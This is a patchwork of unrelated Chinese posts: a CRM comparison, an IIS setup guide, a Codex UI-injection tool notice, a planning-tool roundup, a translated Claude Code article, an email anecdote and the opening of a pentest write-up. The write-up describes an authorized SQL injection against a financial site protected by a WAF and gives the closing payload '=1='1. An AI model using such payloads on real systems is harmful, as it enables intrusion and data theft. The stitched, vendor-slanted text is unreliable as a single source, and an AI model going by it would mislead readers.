1、纷享销客 CRM:领先的AI智能型CRM,深耕B2B制造

【1】产品定位:

纷享销客专注中国B2B企业,拥有专门针对制造业的解决方案。尤其擅长电子制造、工业设备、汽车零部件等重销售流程的大中型企业。

【2】七大核心优势:

• AI深度赋能业务全流程:覆盖“线索-商机-报价-订单-回款”全流程管理,提供商机评分、流失预警、下一步行动建议等智能功能。
• 行业解决方案成熟:纷享销客CRM沉淀大量电子制造、电子元器件、消费电子、电子结构件等行业实践,内置行业专属模块如销售预测管理、产品管理、CPQ等专属模块,沉淀行业智慧、专属行业解决方案,开箱即用。
• 多系统原生集成:CRM系统可以与企业现有的其他系统(如ERP、PLM等)集成,销售人员可通过企微或APP直接发起客户拜访、记录沟通、推送方案,客户行为自动沉淀至CRM,实现“社交化销售”。
• 灵活性与扩展性:基于PaaS平台,可通过配置或开发满足任意复杂业务逻辑,支持多币种、多语言、多法律实体。
• 多维度数据分析:纷享销客CRM系统能够深入分析客户数据,构建精准的客户画像,预测销售趋势,为销售策略提供数据支持
• 轻量级但高协同:内置任务分派、审批流、知识库,整合销售、市场、服务和产品等部门的数据和流程,打破信息孤岛
•性价比突出:按用户数订阅,起购门槛低

2、Salesforce:功能强大的行业巨头

【1】产品定位:

全球CRM领导者,功能全面。适合业务规模庞大、国际化程度高、预算充足,且有专业IT团队进行定制化开发的大型电子制造企业。

【2】五大核心优势:

• 行业流程适配度:在项目型销售、销售协议、客户预测等方面功能非常完善。能很好地管理长期、复杂的销售协议和基于大客户的销量预测。
• 集成与扩展能力:AppExchange拥有超5000个应用,可无缝对接SAP、Oracle ERP及主流PLM/MES系统。
• 数据安全与部署方式:主要以公有云SaaS为主,数据安全体系符合国际最高标准。
• 团队使用与赋能效率:移动端功能全面,但需要根据企业自身流程进行精简配置,以提升一线员工的使用效率。
• 行业方案:专为制造企业设计,支持客户资产跟踪、服务合约管理、现场服务调度。

3、销帮帮:聚焦销售提效,小微企业优选

【1】产品定位:

以销售过程管理为核心,强调成交转化与外勤执行力,适合销售驱动型贸易商或中小型制造企业。

【2】三大核心优势:

• 销售流程标准化:提供“线索分配→初次接触→需求挖掘→方案报价→签约回款”全流程管控,支持自定义阶段与时效提醒。
• 移动端功能强大:GPS签到、拍照打卡、语音录入、电子合同签署等功能齐全,外勤人员可随时随地更新客户动态。
• 数据驱动决策:仪表盘实时展示销售漏斗、个人/团队业绩、产品线贡献等关键指标,支持下钻分析。

4、神州云动:灵活的本地化部署实施方案

【1】产品定位:

国内较早的CRM厂商之一,以高可配置性和行业解决方案见长,服务多家大型制造与能源企业。

【2】四大核心优势:

• 行业模板丰富:针对电子制造提供“项目型销售”“多工厂协同”“技术参数管理”等预置方案。
• PaaS平台架构:提供低代码开发环境,企业可自主扩展模块、定义流程、开发报表,适应复杂业务变化。
• 数据安全与部署方式:同样支持公有云和私有化部署,给了企业充分的选择权。
• 国产化适配:全面支持信创生态,兼容麒麟、统信操作系统及达梦、人大金仓数据库。

5、SAP:ERP巨头延伸,一体化管控首选

【1】产品定位:

以ERP闻名于世,SAP属于C/4HANA套件的一部分,适合已部署SAP ERP的大型电子制造集团。

【2】四大核心优势:

• 与ERP深度集成:客户主数据、物料编码、价格协议、库存状态、订单交付进度实时同步,消除前后端信息断层。
• 端到端业务闭环:从商机创建到开票收款全程在SAP体系内流转,确保财务与业务数据一致性,满足审计合规要求。
• AI智能助手:基于历史交易与市场数据,自动推荐最优报价、交期或替代料号。
• 全球化部署成熟:支持100+国家/地区的本地化法规与税务规则。

三、横向对比总结:一张图看清各家所长


为了让你更直观地做出判断,我从5个关键决策点进行总结:

1、如果你最看重「与ERP的深度集成」

•首选:SAP (若已用SAP ERP)、Oracle(希望CRM/ERP一体化)
•备选:纷享销客、Salesforce(两者都有成熟的ERP集成方案)

2、如果你最看重「销售流程的灵活定制」

•首选:纷享销客(PaaS平台支持低代码配置,适配复杂制造销售流程)
•备选:神州云动、Salesforce(PaaS能力最强,但开发成本和门槛最高)

3、如果你最看重「电子制造行业成熟解决方案」

•首选:纷享销客(实践案例丰富,深度契合行业特性)
•备选:Salesforce(提供行业方案,需本地化适配)

4、如果你最看重「快速上手与移动办公」

•首选:纷享销客(移动端体验和协同功能符合国内用户习惯)
•备选:销帮帮CRM(简单易用)

5、如果你最看重「国际化与生态系统」

•首选:Salesforce、纷享销客(全球生态最完善,支持多语言、多币种)
•备选:SAP、Oracle(均为国际化厂商,全球服务能力强)

四、实施关键:从“上线”到“用好”的五大原则

CRM的价值不在于购买,而在于有效使用。电子制造企业需遵循以下原则:
1、明确业务目标:是提升赢单率?缩短交付周期?还是提高客户复购?目标不清则系统无用。
2、流程先行,系统固化:先梳理现有销售、服务流程,再用CRM固化,而非让业务迁就软件。
3、主数据治理:建立统一的客户编码、产品分类、行业标签标准,否则分析结果失真。
4、分阶段上线:先核心模块(客户+商机+联系人),再扩展(服务、营销、BI),降低变革阻力。
5、设立运营机制:指定CRM管理员,定期培训、清理僵尸数据、优化流程,确保系统持续进化。

五、总结:选型不是终点,而是数字化转型的起点

对电子制造企业而言,CRM系统的选型绝非一次简单的软件采购,而是一场以客户为中心的组织变革与流程再造。
本文所分析的五款主流CRM系统各有其战略定位与能力边界。
• 大型跨国集团可依托Salesforce或SAP构建全球化客户运营体系;
• 已部署SAP ERP的企业应优先考虑一体化延伸;
• 而广大中型电子制造企业,更需关注纷享销客这类兼具行业深度、本土化体验与高性价比的国产方案。
最终,CRM的价值不在于功能清单有多长,而在于是否真正被一线销售、技术支持和管理层所使用,并驱动关键业务指标的持续改善。

常见问题解答(FAQ)

Q1:电子制造企业是否必须选择行业专属CRM?
A:并非强制,但强烈建议。通用CRM缺乏对NPI流程、多工厂协同、技术参数管理等场景的支持。纷享销客、神州云动等提供的制造行业模板可节省60%以上配置时间,降低实施风险。
Q2:CRM与ERP集成有多重要?
A:至关重要。若CRM中的订单无法自动同步至ERP生成生产工单,将导致信息断层、交付延迟甚至客户投诉。优先选择支持标准API(如RESTful、OData)或中间件(如ESB)的系统,确保主数据一致性与业务闭环。
Q3:国产CRM能否替代Salesforce?
在功能深度与全球化支持上仍有差距,但在本土化体验、性价比、快速响应方面优势显著。对于以内销为主、团队规模<300人的电子制造企业,纷享销客等已是成熟替代方案。据IDC 2025数据,国产CRM在制造业市占率已达41%,年增速超25%。 

首先在服务器管理器内安装 Web 服务器(IIS)

image
打开 IIS 管理器

image
在网站选项卡下右键添加网站

image
网站名称:自己随便写,这个只是显示在 IIS 中使用的
物理路径:本地网页文件的路径
绑定
类型:http 和 https
IP 地址:默认就全部未分配
端口:默认 80
主机名:如果只有一个网站可以不填,如果有多个网站那就在这里填域名

image
对着网站右键浏览即可打开资源管理器

image
将静态网页文件放入网站目录下

image
访问正常

如果主页文件不叫index.html,可以在默认文档处修改

image
选中网站,双击默认文档

image
添加你的文档,然后调整优先级即可



这是一个通过 Chrome DevTools Protocol 在 Codex ( Electron 应用)运行时注入 JavaScript 的小工具,用来把原本位于底部的终端面板改成右侧布局。
它直接覆盖 React 生成的 inline 样式,并用 MutationObserver 对抗重渲染,同时实现了可横向拖拽的自定义终端宽度调整。

https://drive.google.com/file/d/1PWKlYN6hHJam3dlpeTJKL6D4An-GvEcZ/view?usp=share_link

包括 2 个原代码文件和 一个打包的 app 需要运行 xattr -cr xxx.app

运行要求:
1. Node.js —— 已安装在以下路径之一:
/opt/homebrew/bin/node ( Apple Silicon 版 Homebrew )
/usr/local/bin/node ( Intel 版 Homebrew )
或已加入系统的 PATH 环境变量中

2. 原版 Codex.app —— 已安装在 /Applications/Codex.app

一、为什么需要框架式计划搭建工具?

在多目标推进与跨周期业务的数字化管理中,计划体系混乱往往是导致目标偏离或执行低效的核心诱因。如果计划框架搭建不清晰,常常会引发一系列问题,影响整体推进效率:

  • 目标断层或冗余:核心方向缺乏层层支撑,或计划模块重复设计,导致团队精力分散,资源浪费;
  • 执行无序与偏差:计划层级模糊,执行者推进过程中易偏离核心目标,最终产出与预期脱节;
  • 缺乏宏观把控:零散的任务清单无法呈现整体逻辑关联,管理者难以识别计划中的关键漏洞与风险点;
  • 调整成本高昂:团队需耗费大量时间梳理执行顺序与优先级,严重拖慢目标推进节奏。

此时,引入一款结构完整、逻辑清晰、支持多层级搭建的框架式计划搭建工具,能帮助团队实现从“零散任务堆砌”到“体系化计划落地”的效能跃迁,让每一步执行都有明确方向。

二、框架式计划搭建工具的关键功能

框架式计划搭建工具需覆盖计划从搭建到落地的全流程需求,核心功能包含以下维度:

  1. 层级化计划拆解:支持将战略目标逐层分解为阶段目标、执行模块、具体任务,确保每个环节都紧扣核心方向,无断层、无冗余;
  2. 多维度关联绑定:不仅明确计划执行主体,还可关联资源配置、时间节点、验收标准、依赖关系,构建闭环的计划管理体系;
  3. 计划脉络可视化:通过看板、图谱或甘特图等形式,直观展示计划间的逻辑链路,快速识别推进中的依赖关系与卡点;
  4. 动态进度监测:实时统计各计划模块的完成进度、资源使用情况,自动识别延期风险、资源错配或执行偏差问题;
  5. 执行场景封装:在计划单元内集成必要的参考文档、权限设置、执行标准与沟通入口,确保执行者清晰知晓计划背景、要求与协作方式。

这些功能协同作用,构成高精度的计划管理系统,既减少执行混乱,又提升组织目标落地的确定性。

三、5款值得一试的框架式计划搭建工具(精选推荐)

1. 板栗看板

核心定位

层级化计划拆解与可视化脉络对齐的效能引擎,适配本土化轻量协作场景。

核心特性

  • 支持“总计划-阶段计划-执行模块”的无限层级嵌套搭建,贴合框架式逻辑;
  • 可实现多维度计划关联(如任务依赖、资源绑定、时间节点联动);
  • 计划脉络可视化呈现,支持看板、列表等多视图切换,进度反馈实时透明;
  • 自定义卡片字段(如验收标准、资源需求、优先级),适配不同场景计划搭建。

适配场景

  • 战略落地团队的目标拆解与推进;
  • 复杂项目的多层级计划管理;
  • 中小团队需要纵向对齐计划逻辑的协作场景。

优势亮点

  • 具备强大的“垂直下钻”能力,确保每一层计划都精准承接上层目标,无逻辑断层;
  • 零学习成本、开箱即用,无需复杂配置即可快速搭建计划框架;
  • 免费版支持10人以内轻量协作,高级版支持权限分级、跨部门共享,适配团队规模扩张需求;
  • 看板动态可追溯,便于计划调整与复盘。
    在这里插入图片描述

2. Notion

核心定位

模块化计划搭建与多场景适配的全能平台,侧重灵活自定义。

核心特性

  • 多级页面嵌套结构,可自由搭建“目标-模块-任务”的计划层级;
  • 自定义数据库功能,支持标注计划维度(如执行状态、资源分配、截止时间);
  • 支持看板、日历、列表等多视图切换,适配不同查看与管理习惯;
  • 可集成文档、表格、附件,实现计划与执行资源的一体化封装。

适配场景

  • 中小团队的灵活计划搭建;
  • 创新型项目的动态框架调整;
  • 需要整合多类型资源的计划管理。

优势亮点

  • 结构化能力强,支持在单一计划容器内封装所有执行要素,防止计划逻辑丢失;
  • 自定义程度高,可根据业务特性搭建专属计划模板;
  • 跨平台同步流畅,支持个人与团队协作场景无缝切换。
    在这里插入图片描述

3. Asana

核心定位

高度自定义的计划矩阵与进度管理系统,侧重跨部门协同。

核心特性

  • 丰富的计划字段定义,可精准标注计划的各类属性与关联信息;
  • 自动化进度触发器,支持设置节点提醒、状态变更通知;
  • 多维度资源关联看板,直观展示计划与执行人、资源的匹配关系;
  • 支持复杂依赖关系设置,自动识别瓶颈节点。

适配场景

  • 跨部门大型项目的计划协同;
  • 标准化业务流程的计划搭建与落地;
  • 多团队协作的进度同步与管控。

优势亮点

  • 可视化图表与状态字段反馈直观,让“计划推进进度、负责人、待办事项”一目了然;
  • 协同功能强大,支持跨团队成员实时沟通、进度同步;
  • 自动化规则可减少重复操作,提升计划管理效率。
    在这里插入图片描述

4. Microsoft Project

核心定位

专业级项目计划搭建与资源统筹工具,侧重复杂项目管控。

核心特性

  • 甘特图式计划铺排,直观展示计划时间轴与依赖关系;
  • 精细化资源分配模块,支持人力、物力等资源的精准调度与负荷监控;
  • 关键路径分析功能,自动识别影响整体进度的核心环节;
  • 支持计划基线设置与偏差分析,便于进度管控与调整。

适配场景

  • 大型工程类项目的计划管理;
  • 需要精准把控时间与资源的复杂计划;
  • 企业级战略项目的全周期推进管控。

优势亮点

  • 操作逻辑贴合传统项目管理规范,结构化计划搭建能力突出;
  • 资源统筹与进度分析功能强大,适配复杂资源调配场景;
  • 可生成专业的计划报表,支撑管理层决策。
    在这里插入图片描述

5. Wrike

核心定位

企业级计划搭建与协作一体化工具,侧重全流程闭环管理。

核心特性

  • 严密的计划类型定义与工作流硬约束,确保计划执行规范性;
  • 子计划追踪功能,支持多层级计划的精准管控;
  • 与各类协作工具深度集成,实现计划搭建、执行、沟通的全闭环;
  • 企业级权限管理与数据安全保障,适配大型组织需求。

适配场景

  • 全行业大中型企业的计划管理;
  • 多分支、跨区域协同的计划落地;
  • 对流程规范性与数据安全有高要求的场景。

优势亮点

  • 计划界定逻辑性强,支持复杂业务场景的框架搭建;
  • 协同一体化能力突出,减少跨工具切换的效率损耗;
  • 数据统计与分析功能完善,便于计划复盘与优化。
    在这里插入图片描述

四、框架式计划搭建机制建议

  1. 推行“层级化”搭建原则:将计划颗粒度控制在“层级清晰、责任到人、可量化验收”范围内,避免过粗导致执行模糊,或过细增加管理成本;
  2. 标准化计划模板体系:在工具中预设不同场景(如项目推进、运营活动、战略落地)的计划框架模板,明确每个计划节点的核心目标、执行边界与验收标准;
  3. 建立“动态调整”反馈机制:执行者在计划推进遇阻、外部环境变化时,即时更新计划状态,触发自动预警,确保问题及时暴露与解决,防止计划偏离;
  4. 定期进行计划“优化”:随着业务推进,及时清理冗余计划模块、重叠执行节点与过时信息,保持计划框架的简洁与精准;
  5. 可视化进度监控:利用工具的全局视图(如板栗看板的总览看板、Microsoft Project的甘特图),实时监控各计划模块完成度,确保资源与精力投入的科学性。

五、Q&A:关于框架式计划搭建的常见问题

Q1:计划框架搭得太细,会不会限制团队的灵活调整空间?

A:框架式搭建的核心在于厘清逻辑而非固化动作。通过明确各层级计划的核心目标、验收标准与依赖关系,执行者可在框架内灵活选择执行方式与路径,既保证不偏离核心,又保留了调整的灵活性。

Q2:如何处理需要跨部门协作的复杂计划?

A:即使是跨部门协作,也应设定唯一的“计划总负责人”,统筹整体进度与协同衔接。建议利用工具的子计划功能(如板栗看板的层级嵌套、Asana的部门分组),将复杂计划拆解为独立的部门级子计划,明确各部门的承接模块与责任边界,同时通过共享视图确保信息同步。

Q3:如果外部环境变化,框架式计划的调整会不会很繁琐?

A:推荐使用支持镜像同步或模板化更新的工具(如板栗看板、Notion)。通过动态链接而非静态定义关联各层级计划,可实现“一处调整,全框架同步”,大幅降低计划维护与调整成本;同时可预设“应急调整模板”,应对常见的环境变化场景。

Q4:搭建工具能否避免计划“流于形式”?

A:可以。一方面,工具通过“计划脉络可视化+责任绑定”,让每一项计划的落地情况都具备可追溯性,从技术层面减少“纸面计划”;另一方面,结合动态进度监测与预警机制,能及时发现未推进的计划模块,督促责任人落实,从制度层面确保计划落地。

Q5:小团队预算有限,如何选择高性价比的框架式计划搭建工具?

A:小团队可优先选择板栗看板免费版、Notion免费版,两者均能满足基础的层级化计划搭建、责任绑定与进度跟踪需求;其中板栗看板免费版支持10人以内协作,无需复杂配置,开箱即用,更适配本土化小团队的轻量协作场景。

六、结语

计划管理的核心不是罗列任务,而是构建目标落地的清晰路径。框架式计划搭建工具作为提升目标执行确定性的核心支撑,通过层级化拆解、可视化脉络、多维度绑定,让复杂目标变得可落地、可管控、可追溯。

不同规模与场景的团队,可根据自身需求选择适配工具:中小团队追求轻量高效,可优先选择板栗看板、Notion;跨部门复杂项目需强化协同与管控,Asana、Microsoft Project更具优势;大型企业注重全流程闭环与数据安全,Wrike是优质选择。

清晰的计划框架,是高效执行的前提;合适的搭建工具,是目标落地的保障。 唯有将工具与业务场景深度融合,才能让每一份计划都转化为实实在在的成果。

编者按: 在 Claude Code 中,我们到底该用 Command、Skill 还是 Agent?这三者究竟是新手到高手的进阶阶梯,还是各司其职的协作组件?

我们今天为大家带来的文章,作者的观点是:Commands、Skills 和 Agents 并非技能等级,而是同一系统中分别负责“何时触发”与“执行什么”的三种协同角色。

文章深入剖析了三者的本质区别:Commands 和 Skills 实质上是“触发器”(手动 vs 自动),决定了“何时”运行;而 Agents 则是拥有独立上下文和工具的“执行者”,决定了“做”什么。作者通过“代码整洁度检查”这一完整示例,清晰展示了如何组合使用 Command + Agent 实现手动流程,或 Skill + Agent 实现智能主动介入,并强调 —— 选择依据不应是“功能复杂度”,而应是“谁来决定执行时机”。

作者 | Ilia Karelin

编译 | 岳扬

“我是该用 Command、Skill 还是 Agent 来处理这件事?”老实说,你以前肯定问过自己这个问题。

答案总是那一套。“Commands 适合初学者,Skills 适合进阶者,Agents 则是高级用法。”或者是“先从 Commands 开始,进阶到 Skills,最后掌握 Agents。”

但事情根本不是这么回事。

Commands、Skills 和 Agents 并不是一个循序渐进的进阶体系。它们属于同一系统中的三个组成部分,彼此协同工作。

Commands 和 Skills 决定某件事何时运行。Agents 决定具体做什么。

没人解释过这一点。所以多数人构建了错误的方案,然后纳闷为什么结果跟预期的不一样。

01 大多数人误解的地方

传统观念把这三者当成游戏里的等级。从 Command 开始入门,然后晋升到 Skill,等“水平够了”再精通 Agent。

这种说法随处可见。网络教程会写“先用简单的 Command”。论坛帖子建议“掌握了基础用法后,再转向 Skill”。高阶用户谈论着“终于搞懂了Agent”。

听起来挺有道理,实则大错特错。

它们不是技能等级,而是系统中的不同角色:

  • Commands = 手动触发(由你决定何时执行)
  • Skills = 自动识别触发(由 Claude 决定何时执行)
  • Agents = 执行者(真正干活的)

Command 可以调用 Agent,Skill 也可以调用 Agent。 Agent 本身可简可繁。这些都和“新手还是高手”毫无关系。

2025 年 10 月,Anthropic 统一了这一架构设计。他们并没有建立三个独立的系统,而是构建了一个可扩展模型,内含三个协同工作的组件。

但大多数人都没理解到这一点。

02 Claude Code Commands、Skills 和 Agents 详解

让我们来解析每个部分的作用:

2.1 Command:手动输入,即刻运行

Command 是手动触发器。你输入 /commit,它就运行;你输入 /codehygiene,它也会运行。执行时机完全由你掌控。

Command 文件的结构如下:

---
description: Run code hygiene check on recent changes
---
 
Code Hygiene Review
 
Use the code-hygiene-checker agent to verify recent changes are structurally complete and no technical debt was introduced. Launch the code-hygiene-checker agent to verify:
 
- Changes are fully integrated across all layers
- Old code and unused implementations are removed
- No development artifacts remain
- Dependencies and configurations are updated consistently

将其保存为 ~/.claude/commands/codehygiene.md。

在 Claude Code 中输入 /codehygiene,它便会马上执行。

就这么简单。手动控制,显式执行。

2.2 Skills:Claude 识别到,便自动加载

Skills 是自动识别触发器。Claude 会读取对话内容,将上下文与 Skill 描述进行匹配,并自动加载。

Skill 文件的结构如下:

---
name: react-patterns
description: Best practices for React components. Use when working with React code or discussing component architecture.
---
 
When writing React components:
 
- Prefer composition over prop drilling
- Keep hooks at the top level
- Use descriptive component names

将其保存为 ~/.claude/skills/react-patterns/SKILL.md。

你不需要手动调用它。当你在处理 React 相关内容时,Claude 会自动识别并加载这个 Skill。

2.3 Agents:真正干活的执行者

Agents 是具备独立上下文、工具和指令的专业执行者。

它们在隔离环境中运行,完成后返回结果。

Agent 文件的结构如下:

---
name: code-hygiene-checker
description: Reviews code for structural completeness and cleanliness. Use after refactors or before merging PRs.
tools: Read, Grep, Glob, Bash
model: sonnet
---
 
Your role is to inspect code changes and prevent technical debt before it accumulates.
 
[Full agent prompt here - I’ll include the complete version below]

将其保存为 ~/.claude/agents/code-hygiene-checker.md。

Agent 不会自行启动,需要由 Command、Skill 或 Claude 根据需求来调用。

03 它们如何协同工作

Command 调用 Agent 的流程:

你输入 /codehygiene → Command 运行 → Command 指示 Claude 使用 code-hygiene-checker agent → Agent 执行任务 → 返回结果

Skill 调用 Agent 的流程:

Claude 检测到你正在重构代码 → 加载 code-review skill → Skill 指示 Claude 使用 code-hygiene-checker agent → Agent 执行工作 → 返回结果

核心模式:

  • Commands/Skills = 触发器(决定何时执行)
  • Agents = 执行者(决定执行什么)

文件格式相同,均为 markdown,但在系统中扮演不同角色。

04 一个实际案例:代码健康度检查系统

让我为大家展示一套完整可用的系统。只需两个文件,直接复制粘贴即可。60 秒内,你将拥有一个功能完备的代码审查工具。

文件 1:Command(手动触发器)

将其保存为 ~/.claude/commands/codehygiene.md:

---
description: Run code hygiene check on recent changes
---

Code Hygiene Review
Use the code-hygiene-checker agent to verify recent changes are structurally complete and no technical debt was introduced.

1. Launch Code Hygiene Check

Launch the code-hygiene-checker agent to verify:

- Changes are fully integrated across all layers
- Old code and unused implementations are removed
- No development artifacts remain (TODOs, console.logs, commented code)
- Dependencies and configurations are updated consistently
- Structural integrity is maintained

2. Review Findings and Suggest Fixes

After the agent returns its review results, analyze the findings and provide specific, actionable suggestions for addressing each issue identified. Organize suggestions by priority (blocking issues first, then technical debt risks, then optional improvements).

文件 2:Agent(任务执行者)

将其保存为 ~/.claude/agents/code-hygiene-checker.md:

---
name: code-hygiene-checker
description: Reviews code for structural completeness and cleanliness. Use after refactors, before merging PRs,or when checking for incomplete changes, dead code, development artifacts,and technical debt. Checks dependency hygiene, configuration consistency,and change completeness.
tools:Read, Grep, Glob, Bash
model: sonnet
permissionMode:default
---

Your role isto inspect code changes and prevent technical debt before it accumulates. You verify that modifications are fully complete, temporary artifacts are removed,and structural integrity is maintained. Your mission is catching incomplete implementations, forgotten cleanup,and configuration gaps before they become permanent problems. Every review you conduct protects the codebase from degradation over time.

Review Scope

When invoked, you review:
- Recent changes (last commit or git diff if available)
- Specific files/directories mentioned by the user
-If no scope specified, ask the user what to review

Focus on changed code and its related files,not the entire codebase unless explicitly requested.

Your Review Scope (What You Check)

Your review scope is strictly limited to structural completeness and cleanliness. You explicitly DO NOT review:

- Functional correctness (assumed verified by author and tests)
- Test quality or coverage
- Documentation quality
- Code style or formatting (assumed handled by linters)

Your Tools

Use these tools strategically:

- Grep: Find TODOs, FIXMEs, console.log, debugger statements, commented code
- Glob: Identify files matching patterns (*.test.js,*.config.*, package.json)
-Read: Examine specific files for completeness and dead code
- Bash: Use git commands to check recent changes (git diff, git log, git status)

Your Review Methodology

1. Dead Code Detection

You systematically identify any code that has been replaced or refactored and verify its complete removal. You check for:

- Unused functions, classes,or modules that should have been deleted
- Old implementations left alongside new ones
- Orphaned imports or dependencies
- Obsolete configuration entries

2. Change Completeness Audit

You verify that all components of a change are present:

-If a feature touches multiple layers (API, UI, database), confirm all are included
- Check that related configuration files are updated (build scripts, deployment configs, environment variables)
- Verify that dependency lists reflect additions and removals
- Ensure database migrations or schema changes are included if needed

3. Development Artifact Scan

You identify and flag any temporary development artifacts:

- Commented-out code blocks (unless with clear justification)
- TODO, FIXME,or HACK comments without tickets/tracking
- Debug logging or test data left in production code
- Temporary workarounds that should be proper implementations
- Console.log statements or debug breakpoints

4. Dependency Hygiene

You verify dependency changes are clean:

-New dependencies are actually used and necessary
- Removed features have their dependencies removed from package.json/requirements/etc.
- No duplicate or conflicting dependencies introduced
- Lock files are updated consistently

5. Configuration Consistency

You ensure all configuration updates are complete:

- Build configurations reflect any new compilation requirements
- CI/CD pipelines are updated fornew dependencies or build steps
- Environment-specific configs are updated consistently across all environments
- Feature flags or toggles are properly configured if used

Your Review Output Format

Structure your review as a prioritized list of findings:

Blocking Issues

[Issues that will cause immediate problems - broken builds, runtime errors, deployment failures]
If none found, state: “No blocking issues found”

Technical Debt Risks

[Issues that will cause future maintenance problems - confusion, bugs,or slowdowns]
If none found, state: “No technical debt risks identified”

Suggestions

[Optional improvements that would enhance code quality but aren’t required]
If none found, state: “Code hygiene looks good”

Summary Checklist

- Clean Removals:[Old code completely removed OR list what remains]
- Complete Changes:[All required parts present OR list what’s missing]
- No Dev Artifacts:[Clean OR list artifacts found]
- Dependencies Clean:[Verified OR list issues]
- Configs Updated:[Verified OR list missing updates]

Decision Frameworks

- When you find incomplete changes, categorize them as either ”blocking” (will break builds/deployments)or ”debt-inducing” (will cause future confusion/maintenance issues)
-If you’re unsure whether old code should be removed, flag it for author clarification rather than assuming
-For configuration changes, verify both addition AND removal scenarios
- When reviewing refactoring, trace all call sites of modified code to ensure completeness
-If you find 10+ issues in a single category, summarize the pattern rather than listing all instances
- Limit detailed findings to the most impactful 15-20 items to keep the review actionable

如何使用?

1)将这两个文件复制到上述指定位置

2)在 Claude Code 中输入 /codehygiene

3)观察 Agent 自动扫描你最近的代码变更

4)获得一份结构化报告,包含阻塞性问题(blocking issues)、技术债务风险(technical debt risks)和改进建议(suggestions)

Command 让你掌控执行的主动权,Agent 负责实际的检查工作。

这就是整个系统:两个文件,一套工作流。

或者,如果你正在使用 Claude Code —— 你也可以直接让 Claude Code 为你一键生成全部内容!

05 Command、Skill 与 Agent 的核心区别

现在我们已经了解了它们的协作方式,下面给出一个决策框架。

5.1 Command vs Skill:由谁决定执行时机

将 Command 想象成手动变速箱,何时换挡由你掌控。

Skill 则像定速巡航系统,系统会根据路况自动调整。

在以下情况下使用 Command:

1)你需要明确控制执行时机(例如提交代码、项目部署、代码审查)

2)这个操作会产生某些后果,而你希望在这些后果发生之前,先由你自己确认

3)这是一个你会在特定时机反复执行的工作流程,而你希望在自己认为合适的那一刻手动启动它

在以下情况下使用 Skill:

1)Claude 应该在不需要你明确指示的情况下,主动识别当前场景,并应用它所掌握的相关知识(比如编码规范、安全规范等)

2)相关的上下文(比如规则、知识、工具或配置)应当在你没有主动要求的情况下,由系统自动识别并加载进来

3)你希望 Claude 能够自己识别出当前场景中需要某个能力(比如某个 Skill 或规则),并在不需要你明确指示的情况下,主动调用并使用它

错误的选择依据: 看功能“复杂不复杂”。

正确的选择依据: 看“谁来决定什么时候执行”。

5.2 Agent:负责“执行”

Agent 是“执行者”。它们具备:

1)独立的上下文(与主对话隔离)

2)可使用的特定工具(如Read、Grep、Bash等)

3)定义明确的角色和方法论

4)控制其行为方式的权限设置

Command 可以调用 Agent,Skill 也可以调用 Agent,Claude 也能直接调用 Agent。

Agent 并非比 Command “更高级” —— Command 是触发器,Agent 是执行者,它们扮演着不同的角色。

5.3 完整的系统工作流程

以下是整个系统的协作方式:

场景一(通过 Command 触发)

1)你输入 /codehygiene(Command - 手动触发)

2)Command 告知 Claude:“调用 code-hygiene-checker agent”

3)Agent 加载自己的上下文和工具

4)Agent 使用 Grep、Read、Bash 等工具检查你的代码

5)Agent 返回结构化的检查结果

6)你获得可操作的报告

场景二(通过 Skill 触发)

1)你重构了一个大型函数(未输入任何 command)

2)Claude 检测到重构操作(Skill - 自动发现)

3)Skill 告知 Claude:“调用 code-hygiene-checker agent”

4)Agent 加载并执行检查

5)Agent 返回检查结果

6)你在未主动请求的情况下获得了主动的代码审查

同一个 Agent,不同的触发方式。Agent 并不关心自己被如何调用。

06 何时在 Claude Code 中使用 Commands、Skills 或 Agents

大多数开发者基于错误的问题做出选择。他们问的是:“这是初学者用的,还是高级功能?”

真正该问的问题是:

  • 谁来决定这个操作何时执行?(Command vs Skill)
  • 需要完成什么具体工作?(Agent)

6.1 使用 Command + Agent 的场景

当你希望对多步骤工作流保有手动控制权时:

  • 提交 PR 前的代码审查
  • 项目部署上线前对照检查清单逐项确认
  • 每周复盘
  • 安全审计

你输入命令,Agent 执行具体工作。

6.2 使用 Skill + Agent 的场景

当希望 Claude 主动应用领域专业知识时:

  • 强制执行编码规范
  • 架构模式建议
  • 安全漏洞检查
  • 性能优化建议

Claude 识别上下文,然后 Skill 自动加载,最后 Agent 执行工作。

6.3 仅使用 Command 的场景

当任务简单,且不需要隔离上下文时:

  • 插入代码片段
  • 格式化提示词模板
  • 运行一个快速的 bash 命令

无需 Agent,Command 本身就是完整的工作流。

6.4 仅使用 Skill 的场景

你提供的是供参考的背景信息,而不是用来触发某个具体操作的指令时:

  • API 文档
  • 团队会议安排
  • 项目专属术语说明

无需 Agent,Skill 仅为 Claude 提供背景上下文。

07 常见问题(FAQ)

问:Claude Code 中 Command 和 Skill 有什么区别?

Command 是你通过输入 /command-name 手动触发的指令。Skill 是 Claude 根据对话上下文自动识别的功能。两者都可以调用 Agent 来执行任务。

问:在使用 Skill 或 Agent 之前,需要先掌握 Command 吗?

不需要。Command、Skill 和 Agent 并非渐进式的技能层级。它们是同一系统的三个组成部分:Command 和 Skill 决定何时执行,Agent决定执行什么任务。

问:我可以将这些代码健康度检查文件用于我的项目吗?

可以。将两个文件(/.claude/commands/codehygiene.md 和 /.claude/agents/code-hygiene-checker.md)复制到你的 ~/.claude/ 目录下。在 Claude Code 中输入 /codehygiene 即可运行。

END

本期互动内容 🍻

❓有没有一次因为“误以为 Agent 是高级功能”而绕了远路的经历?欢迎分享。

原文链接:

https://prosperinai.substack.com/p/claude-code-commands-skill...

我看了一下,最早应该是 QQ 邮箱,2009 年,但是我记得有欢迎邮件,找不到了,收件箱也删了一些,只找到发件箱的。
image
QQ 邮箱,2009 年 11 月 1 日

Google 邮箱最早的显示是 2013 年
image
Google 邮箱,2013 年 5 月 1 日

印象中这两个比较早,还有个 tom.com 邮箱,个人版不用就给删了,所以不记得了。

一、前言

在某次对金融单位官网的渗透测试(已授权)中,在一个查询处发现存在SQL注入,初步探测,发现存在阿里云waf,研究尝试后,成功手注绕过,并得到数据。 (这也是一个几个月前的案例了)

二、发现过程

图片

1个单引号报错,302跳转

2个单引号正常,200,有数据

3个单引号报错,302跳转

4个单引号正常,200,有数据

此时基本可以确定,此处存在sql注入漏洞,但是还无法判断是否能注入出数据。

进行简单的sql注入的payload尝试,发现被拦截:

图片

三、闭合构造和数据库类型判断

在发现sql注入后,首先需要的是尝试对该注入点进行闭合。

此处,通过使用链式比较的方法,成功闭合了该注入点,正常返回了数据。

'=1='1    链式比较,闭合成功

图片

返回了正常查询所显示的数据。

同时,我们也能确认,数据库的类型为Mysql。

为什么能做出这种判断?

图片

